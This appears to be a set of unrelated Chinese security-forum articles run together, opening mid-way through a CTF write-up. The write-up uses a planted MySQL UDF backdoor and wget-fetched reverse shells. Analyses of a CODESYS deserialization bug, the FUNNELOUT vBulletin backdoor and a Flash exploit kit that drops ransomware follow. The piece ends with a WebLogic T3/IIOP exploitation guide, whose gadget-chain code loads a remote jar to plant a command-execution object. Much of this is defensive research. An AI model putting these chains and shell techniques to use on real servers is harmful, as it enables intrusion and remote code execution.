(不要在意代码里存在命令注入什么的啦..)
通过order by测试出表中有四个字段,
第二个字段是回显位.找表名,字段名什么的就不赘述了。
只有一个hosts表,四个字段分别是id,ip,domain,type,把ip数据查出来:
得到了一个内网IP:10.47.111.187,再把domain也查出来,发现对应的domain是: op-admin.in.loli.club
估计这个就是loli-4的入口了。
因为数据库中没有flag,所以想可能要用其他方法获得flag.试了好长时间之后发现,主办方在里面预留了一个udf后门,查询mysql.func可以看到函数名:
可以看到确实存在一个名为sYsT3m_e的函数,由于函数不带回显,所以将命令结果发送到vps接收,如:
bash直接反弹shell没成功,只好从vps上wget一个py反弹shell的脚本到目标机上运行,连上之后可以从目录找到flag:
萝莉俱乐部-4
在上一步中得到了一个IP: 10.47.111.187, 正好服务器中提供了nmap,果断的扫了一下端口:
发现存在两个web,一个80端口,一个8080端口,扔上去一个自己写的马,开启代理,然后本地挂代理访问,发现80端口什么都没有,8080端口是:
看提示的意思应该是需要用admin账号登录,网站ThinkPHP框架写的,本来以为不能有注入,不过还是手贱的试了一下,结果…
还真有注…果断扔到sqlmap里跑了一下:
得到密码,sha1解密之后是: iiaklis,登录拿到flag.
(p.s. 估计这题本意是让update修改密码,不过让我捡了个漏,不管那些了…拿到flag就好 2333333 | 社区文章 |
# CODESYS反序列化漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
CoDeSys是可编程逻辑控制PLC的完整开发环境(CoDeSys是Controlled Development
System的缩写)，它支持IEC61131-3标准IL 、ST、 FBD 、LD、 CFC、 SFC
六种PLC编程语言，用户可以在同一项目中选择不同的语言编辑子程序，功能模块等。在PLC程序员编程时,CoDeSys为强大的IEC语言提供了一个简单的方法，系统的编辑器和调试器的功能是建立在高级编程语言的基础上(如Visual
C++)。
## 0x00 概述
在CODESYS GmbH CODESYS Development System
3.5.16和3.5.17版本中存在反序列化漏洞，如CVE-2021-21864：
根据CVE的漏洞相关描述，下载存在漏洞的CODESYS 3.5.16版本进行漏洞分析与复现。
## 0x01 漏洞复现
通过CVE漏洞的描述，可知此漏洞为BinaryFormatter()函数引起的反序列化漏洞，因为调用了恶意APStartupCulture文件导致执行系统命令。
通过processMonitor查看Codesys.exe进程运行信息，程序尝试查找APStartupCulture和APStartupCulture.xml文件，但是并未找到：
使用反序列化工具生成POC并命名为APStartupCulture
将APStartupCulture文件放入ProgramData目录中
启动程序成功触发反序列化漏洞并执行POC程序
## 0x02漏洞分析
找到启动程序Main()函数：
跟进到Run()函数中，查看启动UI函数RunUI()：
在RunUI()函数中，没有看到启动参数，继续往下走：
启动了多个线程，调用了InitializeComponentManager()函数，跟进InitializeComponentManager()函数：
此函数中，对配置进行了设置以及初始化配置，此处有一个ComponentManager5()函数，跟进此函数查看：
ComponentManager5()依次继承最后来到ComponentManager()函数中，当执行到第67行代码时，跟进函数：
该函数功能是取出并查找文件APStartupCulture是否存在，然后进行判断：
随后打开文件并将数据赋值给stream变量，传入BinaryFormatter()函数进行反序列化：
往下执行之后，成功反序列化并执行我们的POC：
## 0x03 总结
此反序列化漏洞为厂商意料之外的程序恶意调用，从漏洞分析结果来说，此漏洞整个调用链触发过程很简单，就是在某个目录下写个反序列化利用文件即可，还是印证了那句话，用户输入甚至所有外部输入都不可信任。 | 社区文章 |
作者：[风流@逢魔安全实验室](https://mp.weixin.qq.com/s/5WRXpljL7RFSPRQ2NdHhtA
"风流@逢魔安全实验室")
#### 一、背景介绍
方程式泄漏的几波样本虽然大都已是好些年前人家就在用的，但是时至今日我们再分析这些样本，所涉及的技术细节、攻击方法、思维和角度还是令人叹为观止，更有包括像Eternal系列的漏洞更是直接带来了巨大的影响。其中有一个泄漏了方程式本身ip的样本引得全球安全研究人员所注意，但目前公开的都是关于对该样本的猜想，并无技术分析。该样本是一个专门针对vBulletin论坛系统的功能远控工具，FormSec将在本文当中对该样本进行详细的技术分析和APT攻击解读。
[vBulletin](https://www.vbulletin.com/
"vBulletin")是一个强大，灵活并可完全根据自己的需要定制的论坛程序套件，在全球范围内使用都非常广泛，很多大型论坛都选择vBulletin作为自己的社区。
#### 二、Funnelout样本分析
样本来源：
* Original file: <https://mega.nz/#!zEAU1AQL!oWJ63n-D6lCuCQ4AY0Cv_405hX8kn7MEsa1iLH5UjKU>
* Passphrase: `CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN (as disclosedby the ShadowBrokers, source)`
* <https://github.com/x0rz/EQGRP>
该功能远控名为FUNNELOUT共涉及四个版本，各版本功能基本一致，适用时间范围大概08年至13年之间，而且根据现有的分析结果来看，该工具和vBulletin系统的结合度非常高，利用的核心原理就是vBulletin框架加载template时的特殊逻辑，可以推断如果vBulletin的版本更新中框架不做大的调整，该工具就一直适用，可能现在已经有了更新的版本。
这里我们挑选v4.1.0.1版本进行分析。脚本运行环境需要perl支持，直接运行该脚本会展示出该工具的使用方法，其中包括数据库的连接方法、后门操作及其他可自定义参数等。
数据库连接分为两种，一种是直接通过定义数据库连接的相关参数进行数据库访问，包括数据库的ip地址、端口、vbulletin库名、用户名、密码等，在mysql可远程访问时可以通过这种方法连接至数据库进行远程控制；另一种方式就是脚本直接读取vBulletin的数据库配置文件config.php进行解析，获取host、port、dbuser、dbpass、dbname等再进行数据库连接，当然可能是在应用服务器上执行，也可能是将配置文件拖回来后本地解析再远程访问等情况。
对于远程控制的op选项大概分为backdoor、proxy及tag三大功能，其他都是围绕这三点的植入、清除和查看统计等功能，从其命名上也能猜的出来。
接下来我们对这三大块核心功能操作进行分析解读。
##### 01 Backdoor功能分析
door功能的实现比较简单粗暴，这里首先看一下door功能的实现代码，可以看出是直接将一句话后门经过base64编码后放在了数据库当中，默认拼接到了template表的footer
template当中。
接下来进行复现，运行脚本指定door将后门插入到数据库当中。
通过showDoor可以看出后门代码通过base64已经拼接在template当中。
回过头来我们再看看vBulletin的代码，为什么会这样设置后门。
vBulletin的整个框架实现就将需要调用的各种template放在了数据库当中，当调用时会从template表中取出并eval执行，脚本的开发者正是利用了这个逻辑进行后门植入。比如说这里的door的实现，vBulletin的global.php中含有对header和footer模板的调用，funnelout默认是将proxy和door的后门代码植入到了这两个template表当中，如下图所示template代码被取出执行，其中包含的后门代码也被一并执行。
因此vBulletin论坛的维护人员若是在应用服务器进行恶意代码查杀肯定是无效的，只有进行数据库安全审计才可能触发告警，毕竟还要看是否有相关规则，这也就是该后门的厉害之处。
当然所有包含global.php的页面都可以触发后面执行，只需要将需要执行的代码放在请求头的Referrer自定义属性当中即可。
##### 02 Proxy功能分析
funnelout的Proxy实现原理与door一致，不过proxy的代码相对复杂一些，proxy有一套模板代码，脚本使用者可以根据实际环境定义代理要访问的host及path等，最后生成特定的proxy代码。
接下来进行proxy功能复现，使用proxy时需要指定tag，我们根据代码构造一个简单的tag并插入
插入代理后可以使用对应的showProxy查看header template的内容，和door一样已经过base64编码后拼接在了数据库当中
我们看一下被植入base64解码后的proxy代码，如下图所示我已经在代码中进行了一些标注来方便大家理解代码，大概逻辑就是获取到了代理需要请求的内网web服务host，并封装出一个请求包来向内网web服务器发送通过匹配的url请求，可以是get请求也可以post请求，postdata就是向vbulletin请求提交的data。
可以看出其中将64.38.3.50加入了黑名单中，在这里的具体意义还不确定，但可以确定这是攻击者所操作的一台server，威胁情报中也关联到很多和这个ip有关的方程式样本。
最后proxy的复现情况如下，但是这里说的proxy不能说是完全意义上的代理，更有点像ssrf的那种意思
##### 03 Tag功能分析
Tag代码大体上分为两种，第一种是在建立代理时，脚本会自动加一个proxytag，我们可以使用findAll查看，默认是植入在navbar
template当中。
生成的Tag代码大致如下，相对复杂一些，可以发现tag代码和vBulletin代码高度融合，同样的我也在在代码当中加了一些注释方便大家理解，有兴趣的同学可以自己调试一下。tag代码的主要用途就是经过一些条件判断后触发page
view，比较有意思的是tag代码要触发show
page必须在第一次标记用户后的一天内，超过一天就无效了，只能进行reset，有点自毁程序的意思，并且在第一次标记用户后会产生一个默认为0-6的随机数，随机数随访问次数递减，直至为0时才会触发通过iframe标签触发pageview，触发后该数值会再次减1到-1，并返回用户已被标记等待重置，但该功能在这里的意图目前尚不清楚。
看一下proxytag的复现过程
某vb论坛用户登录后访问了类似链接查看私信内容：
[http://127.0.0.1:8888/vbulletin/private.php?do=showpm&pmid=14](http://127.0.0.1:8888/vbulletin/private.php?do=showpm&pmid=14)
黑客可以通过showTagged可以查看到当前已被标记用户，并在该用户第一次访问时产生随机数4
也就是在该用户访问该页面4次后触发page view，发送携带当前用户名的hex编码的请求。猜测可能是用于标记特定用户再发起针对性攻击。
再次使用showTagged查看发现该用户已被标记并等待重置
第二种则是使用tag命令直接插入的tag代码，这里要细分的话也可以按照是否使用nohttp分为两类，可以从代码上看出它们的区别
对Tag进行了一个总结
这里不使用 –nohttp进行功能复现，同样是通过base64加密后放在了navbar template中
当论坛用户访问时触发page view
到这里tag功能基本完成分析，我们在网上找到了一个被公开的攻击痕迹，根据以上分析，这里应该是tag的第三种情况
其中涉及的域名technology-revealed.com，历史解析记录也有很多国家。
另外需要注意的是在tag代码中发现了两个特殊的md5，脚本会校验被标记用户的用户名是否与这两个md5相同
84b8026b3f5e6dcfb29e82e0b0b0f386 Unregistered (EN)
e6d290a03b70cfa5d4451da444bdea39 dbedd120e3d3cce1 (AR)
还有代码中排除标记了来自特殊地域的ip地址
if(preg_match('/^(64.38.3.50|195.28.|94.102.|91.93.|41.130.|212.118.|79.173.|85.159.|94.249.|86.108.)/',IPADDRESS)){
return "";
}
除了之前提到的唯一确定ip——64.38.3.50，其余ip段涉及到约旦、土耳其和埃及等国家和地区。
最后根据以上信息，我们猜测technology-revealed.com为方程式所操控的服务器，它可以用来接收一些来自敏感话题讨论论坛的特殊地区用户的标记信息，从中可以筛选出特定目标，进行定点攻击，包括可以从vBulletin
访问日志中收集用户ip地址，数据库中收集用户密码信息等，再配合其他方式进行水坑攻击，比如再次利用vBulletin
template进行挂马，还有方程式的其他漏洞足以完成后续攻击，拓广战果。当然以上只是我对APT攻击环节中tag利用的猜想，具体的可能只有方程式自己人知道了。
* * * | 社区文章 |
1.BurpSuite的代理设置，我是参考[Configuring an Android Device to Work With
Burp](https://portswigger.net/support/configuring-an-android-device-to-work-with-burp "Configuring an Android Device to Work With Burp")来设置的。
2.Android模拟器我用的是genymotion(需要注册)，用的版本是Android 10.0 API 29。启动安卓系统后，当然将app.apk拖入
[apk的下载](https://m.apkpure.com/grindr-gay-chat/com.grindrapp.android)
模拟的安卓系统会遇到如下错误:
解决方法是安卓模拟中，安装Genymotion_ARM_Translation,我的Android 10.0 API
29安装的是[Genymotion_ARM_Translation](https://github.com/m9rco/Genymotion_ARM_Translation)中的8.0(其他版本的组合我试了，不成功，不知道为啥）。
3.这样完成之后，我尝试网络链接app出现错误提示，发现链接错误。
其实这个时候，浏览器打开网页 <http://baidu.com> 还是可以打开的只是 <https://baidu.com>
打不开。心想可能是SSL证书没有安装吧，让BurpSuite生成证书不久完事了吗。
导出的证书命名为 **burp.cer** 然后拖入安卓模拟器，从sdcard/download安装，安装完成之后终于可以打开
HTTPS的网站，以为到这里就大功告成了，没想到打开app之后，还是原来的那个错误，而且还导致了安卓模拟器的退出。
4.于是我又问了我的好朋友搜索引擎，找到先知社区的文章[Android应用程序：绕过SSL
pinning](https://xz.aliyun.com/t/6102) 设置完成后app还是出现同样的错误。
5.于是又去找搜索引擎,又找到了先知社区 Se8s0n
师傅的[Android抓包总结](https://xz.aliyun.com/t/6551#toc-10)，我一看居然还有个
绕过SSL双向校验，仿佛就是黑暗中看到了的曙光，
当我用apktool解压apk之后
在 子目录 asset 和 res 下面都没有找到 .p12 或者 .pfx 结尾的文件只是在 unknow 子目录下找到一个 stamp-cert-sha256这个又不知道是什么鬼。也只能到这里，哪位师傅来指点迷津一下，下面该怎么破啊？ | 社区文章 |
# 【木马分析】挂马新招：全程纯Flash文件挂马传播勒索软件技术揭秘
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**1\. 概述**
360互联网安全中心近期监测到“我爱卡”网站（51credit.com）出现挂马情况，进一步分析发现，访问该网站会加载跳转到漏洞攻击包（Exploit
Kit）页面的恶意Flash广告，没有专业安全防护的访问者电脑会感染号称勒索软件“集大成者”的Sage2.0，造成文件被加密勒索的惨重损失。
**相比以往的漏洞攻击包，此次整个攻击链完全使用Flash文件实现，不再需要HTML与Javascript脚本交互功能，呈现出新的攻击形式和较高的技术水平。**
**2\. 技术分析**
**2.1 广告挂马点**
图1 整体挂马流程
我爱卡网站采用了较为常见的OpenX开源广告系统，该广告系统具备较完整的商业生态，被很多大型网站采用。但是因为审核不严格，已有多次漏洞攻击包通过该广告系统进行传播[1]。
图2 返回挂马广告内容
浏览我爱卡网站任意页面时，会插入了一个广告Flash文件hxxp://conxxxxxxxxx.info/admedia/player.swf。而在另外一个被挂马网站中，这个Flash则被直接托管在挂马网站上。显然，攻击者将这个Flash文件伪装成广告提供给广告运营商，广告运营商审核不严直接在投放网站上上线。打开该Flash文件，其实是没有任何可以显示的内容，实际功能则是利用AS3代码实现了获取Flash版本号并进行相关判断、加载Flash文件功能，使得只有是IE浏览器并且安装了Flash11~21版本才会进一步加载第二个Flash文件。通过该文件拦住了所有无法触发漏洞的用户访问，减少了实际攻击页面的暴露，同时这个文件非常简洁并且没有明显特征，易于躲过查杀。
图3 Flash加载代码
**2.2 第二个Flash加载器**
接下来加载的第二个Flash文件仍然是一个加载器，功能与第一个Flash文件相同，实现了版本判断、加载下一个Flash的功能。但是与第一个Flash不同，这个文件是动态生成的，根据该文件的网络请求响应头，可以猜测该文件是利用php动态生成，对比变化的样本，发现每隔一段时间要加载下一个Flash的地址都会发生变化。这个Flash网址使用了Exploit
Kit所常见的域名生成算法，并不停的变换三级域名地址，这样确保对实际攻击文件的网址难以再次访问。另外，由于该文件是动态生成的，所以Content-Type被有意或者无意设置成默认的text/html，这可以让部分依赖Content-Type进行文件类型判断的网络检测设备忽略，从而降低被发现的概率。
图4 动态返回Flash内容
图5 生成的不同域名
**2.3 Flash漏洞攻击文件**
直到这时，访问的第三个网址才真正引入了攻击Flash文件。但是攻击者的防范措施仍然不止于此，在访问最终的Flash漏洞文件网址时，有时会出现无缘无故无法访问的情况，猜测攻击者使用了IP屏蔽或者随机阻拦请求的策略，增加了分析重现的难度。并且根据用户Flash版本信息，服务器会返回不同的漏洞利用脚本，这种手段与我们之前分析过的一起广告挂马事件中的方法一致，并且也利用了相同的漏洞攻击代码[2]，唯一不同的是这次并没有进行代码的混淆，能够较为容易的分析攻击代码。
具体分析该文件代码，发现漏洞攻击代码被使用RC4加密后切分保存在了Flash的BinaryData字段中，根据不同的发起请求的Flash版本号，解密后获得的漏洞攻击脚本分别是CVE-2015-8651
[3]、CVE-2016-1019 [4]、CVE-2016-4117 [5]的攻击代码，这几个漏洞也是目前各个攻击包常用的方式，具备较高的攻击成功率。
图6攻击代码类型
**2.4 释放载荷**
在利用漏洞之后，会直接执行一段Shellcode代码，不过与常见的基于VBS或者Powershell下载方式不同，该Shellcode会再次向当前网址发送请求，下载一个二进制数据到Internet临时目录，解密转换后得到要运行的payload，因此进程链上会看到一个index[1].htm的进程被启动。注意到此时请求的网址与Flash攻击代码的网址一致，但是返回内容却不一样，可猜测在服务端会自动根据请求来源返回不同的内容，仅当包含Flash请求信息的时候才返回Flash攻击代码，而默认则直接返回加密后的二进制数据。
图7 攻击进程链
最终运行的Payload是Sage2.0勒索软件，该勒索软件选择的密钥交换算法与加密算法都比较巧妙，并且基于IP地址生成算法来生成数据回传ip，是目前勒索软件的集大成者[6]。一旦感染，用户的所有文件都会被加密，桌面被替换为提醒壁纸，同时也会执行一个vbs脚本间隔一段时间发出文件被加密的提醒声音。
图8 用户感染后的桌面
图9 播放语音的脚本
**
**
**3\. 数据重放**
在研究挂马事件中，我们经常会将抓到的数据包使用Fiddler工具进行数据重放，便于反复研究，但是该Exploit
Kit却在同一网址分别返回Flash和二进制内容，使得Fiddler无法区分这两种请求并返回对应的数据包。因此，在无法依赖Fiddler的情况下，我们简单编写了一个基于Tornado的Web服务器，提取出抓包得到的返回内容，根据每次请求的不同网址和请求头来返回对应的数据。使用时，在某个端口开启服务，并将IE的代理设置到该端口，访问对应的网址就可以进行数据重放。
图10 重放功能代码
**4\. 总结**
本次挂马使用广告系统发布挂马Flash文件，使用域名生成算法隐藏攻击代码域名，使用勒索软件来获取经济收益，是目前较为常见的Exploit
Kit框架和最流行的Flash漏洞攻击技术。整体而言攻击者技术水平较高，虽然没有利用常见的IE漏洞，但是所使用的Flash漏洞均是目前最新最流行的，并且一个比较特别的地方是Shellcode没有采用常见的调用VBScript或者Poweshell下载执行文件，而直接下载文件并解密执行文件，这样直接下载也无法得到PE文件，显示出比较高的技术水平。
此次挂马攻击的弱点是Flash代码没有使用代码混淆，保护程度较低，容易被反编译，并且相关攻击网址，没有使用更为常见的参数验证形式，而是直接简单的采用了简单的动态接口，尚未达到流行的几个经典Exploit
Kit的地步。这次挂马事件最重要的创新点是整个攻击流程中完全采用Flash文件作为载体，没有任何交互页面，不易察觉，可以躲过目前常见的针对HTML与Javascript脚本的检测与保护。
我爱卡网站每天用户访问量较大，一旦用户感染勒索软件被加密难以挽回损失。针对目前流行的漏洞攻击包和勒索软件，建议用户及时打上系统补丁，并且及时更新Flash到最新版本，也可以安装一些广告屏蔽软件来避免访问类似这样传播的恶意攻击页面。目前360安全卫士采用了全面多层次的防护体系，使用动态行为检测、结合QEX非PE引擎静态扫描功能，能够做到对此类攻击行为的有效拦截，防止用户感染病毒，并且用户在开通反勒索软件服务的情况下仍然中毒造成损失，360会负责赔付最高3比特币的赎金，并协助还原加密软件。
本文由360QEX团队撰写，360QEX团队专门负责非PE类病毒的分析和查杀，文中所述恶意非PE样本QEX引擎均可以查杀。
**IOC信息**
**URL/IP:**
**
**
**Flash:**
418b81d6371bf5e41deaf244c2813479
9558a62c2198709cd8f4cbace3b3d33f
d5b20d0755e3bdfdbdfd13ddfd477f7f
c1d426fbdd0ccb06b8882089dcbfd755
33a0e632b37dea78a808d5c197a01404
d415c88480d64f7beefb8e2ceab0923a
b0849abe0d436dba8862f0dcbda93aae
c8fced7d0489e930f48cef70f6695e01
01e1cdd0f97215c5421d0358179f8af3
**PE**
005b3f47b1a6b06053d2cce7473b6256
37f6a4715c24ab1c8e5efd95440d3440
**参考文献**
[1] Top-ranked Advertising Network Leads to Exploit Kit
<https://www.fireeye.com/blog/threat-research/2015/11/top-ranked_advertisi.html>
[2] 漏洞工具包利用广告位挂马针对国内用户传播Cerber4.0勒索软件
<http://bobao.360.cn/learning/detail/3129.html>
[3] 暗黑客栈CVE-2015-8651漏洞原理分析
<http://www.freebuf.com/articles/network/93516.html>
[4] CVE-2016-1019: A New Flash Exploit Included in Magnitude Exploit Kit
<https://www.fireeye.com/blog/threat-research/2016/04/cve-2016-1019_a_new.html>
[5] Adobe在野漏洞：CVE-2016-4117漏洞分析
<http://bobao.360.cn/learning/detail/2930.html>
[6] 2017年最佳算法提名勒索软件（sega）分析
<https://xianzhi.aliyun.com/forum/read/799.html> | 社区文章 |
# 0x01 前言
在学习反制ysoserial的过程途中，jar包的报错让我误以为这个思路不太行。后来发现了问题的所在，并扩展一下自己的思路。
# 0x02 正片
## 一、 ysoserial反制
registry.list和registry.bind，这两处就是调用的原生的RegistryImpl_Stub，会触发UnicastRef#invoke->StreamRemoteCall#executeCall导致反序列化。一路跟下来，就可以看到这个方法里面有反序列化点了。因为都是原生的方法，也没存在任何的过滤。
一开始我对反制存疑，可以看到这里存在了java沙箱的机值，会限制命令的执行。：
后来验证了一下，还真得到了这样的结果：
可以看到确实在右边的最底下可以看到存在自定义的SercurityManager去限制了命令的执行，可以看到箭头上面所指的地方，这里是在exploit这个方法中执行并捕捉到了命令执行的问题，我们去看源代码：
可以看到第二个箭头所指向的地方，在exploit执行的时候，确实是将整段代码放在沙箱内去执行的。但是我们可以看到箭头1所指向的位置，理应在这里就会执行反序列化而导致命令的执行。
## 二、 调试
因为报错信息里面没有关于list方法的报错，先推断一下，我们再去跟着源代码调试一下。
既然list方法并没有执行成功，那应该在这个方法内部会抛出异常。
可以看到list函数抛出了两个异常，分别是AccessException和RemoteException，后面throw的异常都是这两个大类的子类，应该是会捕获的。上图的try,catch块是捕获ConnectIOException，是RemoteException的子类，应该捕获不了，希望知道的师傅可以解答一下。
后来当我把jar包拖入idea的时候我傻眼了。我以为用的是最新版本，结果用的是历史版本。
可以看到2018.4.23次的提交支持了sslrmi，在之前用list方法测试了一下，导致了反制的问题。也就是在这个版本之前的是不会在这个点被反制利用的。
## 三、 ExecCheckingSecurityManager
那么我们正好来看一下，能否反反制。可以看到ysoserial内置了两个自定义的SecurityManager。而exploit方法内使用的是第二个sm。让我们来看看这个sm。
类成员和方法在左边，挑一些说。可以看到checkExec继承父类的方法，这里的cmd参数表示系统特定的命令，在本次调试中就是`cmd.exe`。后面可以看到抛出了异常[在ExexCheckingSecurityManager对象调用构造方法的时候，将throwException参数设成了true]。这个ExecException类的getMessage方法可以在上下文中看到。
接下来看第二个callWrapped方法。
可以看到，首先将系统的sm通过局部变量先保存起来，最后会在finally中的语句返回。再将系统的sm设置成当前的ExecCheckingSecurityManager对象。try块里面调用了callable（可以当作是Runnable接口的增强版）的call方法启动了新的线程，并将结果返回。因为我们前面提到过，在`ysoserial.secmgr.ExecCheckingSecurityManager`对象生成的时候将throwException参数设成了true，所以只要进行了命令执行的方法，sm一定会进入checkExec方法，那么一定会直接抛出错误。所以在这里将命令执行终止。可以看到ysoserial在处理命令执行这块是非常的暴力。
后续又看了一下绕过沙盒的办法，感觉不适用于此处在进入checkExec方法后直接抛出异常的问题。
## 四 、 反反制
我们来研究一下这样能否做到反反制,SecurityManager调用链如下图所示：
SecurityManager.checkExec()
|
V
·······
|
V
SecurityManager.checkPermission()
| 在默认的Security Manager实现中
V
AccessController.checkPermission()
我们知道，AccessController还提供了doPrivilege方法，当这个方法被调用时，AccessController亦会自顶向下遍历当前栈，不过只会遍历到调用doPrivileged方法的栈帧就会停止。但是整个的调用栈仍然存在于ExecCheckingSecurityManager.checkExec方法中，当这个方法返回之前，仍然会抛出异常。
ExecCheckingSecurityManager.checkExec()
|
V
SecurityManager.checkExec()
上面exploit方法没有执行成功的原因就是把代码放在了沙箱内去执行，所以反反制的方法也非常简单，我们可以学习ysoserial的方法，在try块的list方法外裹上ysoserial自定义的沙盒。
idea报错了，这里是因为内部类中使用但未声明的任何局部变量必须在内部类的正文之前明确分配。而且Java匿名内部类的方法中用到的局部变量都必须定义为final。
所以我声明了一下，并且在内部方法内就要捕获这个异常。但是为了照顾到下面的exploit方法，我们必须要将call方法的参数值进行一个返回，并用一个新的变量接收沙箱内执行的结果。
final Registry sandboxRegistry = registry; //将上面getRegistry获取到的registry放到final变量，方便沙盒内的匿名方法使用
Registry receivedRegistry = new ExecCheckingSecurityManager().callWrapped(new Callable<Registry>(){public Registry call() throws RemoteException {
try {
sandboxRegistry.list();
} catch (ConnectIOException ex) {
ex.printStackTrace();
return LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());//处理证书的问题
}
return null;
}});
if (registry3 != null){ //对返回的参数进行判断
exploit(receivedRegistry, payloadClass, command);
}else {
exploit(registry, payloadClass, command);
}
本来的情况：
修改之后的情况：
那么其他工具类似ysomap也可以类推，在这些危险方法的外部加上沙盒。
如果有什么错误欢迎各位师傅指正。
# 0x03 参考：
白白白师傅的文章。
<https://www.anquanke.com/post/id/151398> 关于沙盒绕过。 | 社区文章 |
### 简介
### 传统weblogic T3协议回显分析
这里主要分析 <https://github.com/5up3rc/weblogic_cmd这个工具回显利用工具。>
private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
new ConstantTransformer(new HashSet())};
return transformers;
}
通过common-collection相关gadget，想办法调用`org.mozilla.classfile.DefiningClassLoader`这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。并绑定一个实例。
`org.mozilla.classfile.DefiningClassLoader`的定义如下
public Class defineClass(String var1, byte[] var2) { return super.defineClass(var1, var2, 0, var2.length);}
这样就实现从字节码到类的转变。而我们需要发送的恶意类，主要作用是绑定一个实例，完成攻击者与weblogic的rmi交互即可。恶意类的绑定实例代码如下
RemoteImpl remote = new RemoteImpl();
Context ctx = new InitialContext();
ctx.rebind("aaaaaaaa", remote);
System.out.println("installed");
RemoteImpl一定要继承自ClusterMasterRemote这个接口，才可以完成rmi交互。
下面我们向 weblogic12.1.4 发送一下payload测试一下
可以看出，weblogic早就通过黑名单过滤的方式，禁止该类工具的攻击。下面我们分析一下T3反序列化漏洞
### T3反序列化分析
weblogic首先在`moudle/com.oracle.weblogic.kernel.jar中
的ExexuteThread.class`的run函数中监听7001的连接，并调用execute方法去处理请求，也就是req，如图
`this.execute`的代码如下
void execute(ExecuteRequest er) {
++this.executeCount;
this.setTimeStamp(System.currentTimeMillis());
er.execute(this);
} catch (ThreadDeath var3) {
// 各种捕获异常
}
`ExexuteThread`中的`executeCount`为请求总数，随后调用`er`的`execute`去处理。也就是包装请求的类，这里为`SocketReaderRequest`。`SocketReaderRequest`主要为获取`muter`，然后调用`processSockets`去处理请求。
这里主要是通过`Nio`去处理请求，写入请求等，与漏洞分析的关系不太大。在这里将会根据请求，调用相应的协议处理请求，例如T3，http等
最后在`SocketMuxer`的`readReadySocketOnce`中，将请求全部读取完后，调用`weblogic.rjvm.t3.MuxableSocketT3@7ec904fc:Socket[addr=/127.0.0.1,port=57524,localport=7001]`的`dispatch`去处理分发请求。
最后会调用`readObject`去读取请求。如图
在`serverChannelInputStream`的`resolvClass`中，会对待反序列化的类检查一下是否为weblogic黑名单中的类，并防止该类反序列化。这里就是传说中的weblogic反序列化黑名单。
黑名单列表主要如下，相关代码位置在`wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class`中
### classloader 加载器
即使我们使用其他gadget绕过，结果还是会报错，报错截图如下
说明weblogic 12.1.4
已经无法使用该类。但是现实情况下，我们又不可能直接上传一个文件，或者说为了执行无文件加载，以便更好隐藏痕迹。所以，这里我用`URLClassLoader`这个类，去加载远程jar包。当然，也算是无文件落地。代码截图如下
改成gadget利用方式代码如下。该gadget目标是触发待加载类的绑定功能，也就是test函数
ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
),
new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}
),
new ReflectionExtractor(
"loadClass",
new Object[]{className}
),
new ReflectionExtractor(
"getMethod",
new Object[]{"test", new Class[]{}}
), new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[]{}}
)
});
### 结论
1. T3协议的传输主要基于java反序列化
2. T3协议中，如果待反序列化中的任意一个类在黑名单列表，反序列化都会终止，并抛出异常
所以，我们想要在新版本weblogic实现回显，就有如下两个思路
1. 可以绕过黑名单的gadget 例如cve-2020-2555
2. 新的反序列化途径，根本就没有黑名单过滤，例如cve-2020-2551
## T3回显方案(cve-2020-2555)
既然上面已经分析了，T3的话，我们可以使用cve-2020-2555的gadget去实现相关功能，最终触发恶意类的绑定函数，成功绑定一个实例，并可以实现执行命令，如图,
查看jndi绑定树
### 不足之处
该gadget无法在weblogic 10.3.6 下使用，因为找不到相关gadget的类，如图
## IIop 回显方案（cve-2020-2551)
通过之前的分析，我们可以得出结论，weblogic的iiop反序列化不会使用weblogic黑名单。所以，通过iiop的反序列化漏洞+`common-collection`相关gadget可以实现通用版本的回显方案。这里需要注意，单纯在攻击端执行bind触发漏洞，是不会绑定一个实例的。即使绑定成功，也无法远程调用的。java反序列化不会传递类的代码和结构，只会传输类中的变量。所以这也就是我们为什么需要classloader的原因。
### IIOP绑定实例
首先创建一个iiiop的context
String rhost = converUrl(host, port);
Hashtable<String, String> env = new Hashtable<>();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
return new InitialContext(env);
然后构造2555或者common-collection的gadget，然后调用context的rebind发送反序列化对象，主要是调用恶意类的bind功能，恶意类的代码如下
gadget如下
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
System.out.println("CVE-2020-2555 Gadget构造成功，正在发送中...");
context.rebind("UnicodeSec" + System.nanoTime(), badAttributeValueExpException);
执行成功后如下
当然这个是无回显的，所以我们需要获取远程对象，检查是否已经绑定成功。所以通过如下代码检测
try {
System.out.println("检查是否安装rmi实例");
Context initialContext = getInitialContext(converUrl(host, port));
ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);
return remoteCode;
} catch (Exception e) {
if (e.getMessage() != null && e.getMessage().contains(bindName)) {
System.out.println("rmi实例不存在...正在安装中");
### IIOP 执行命令代码
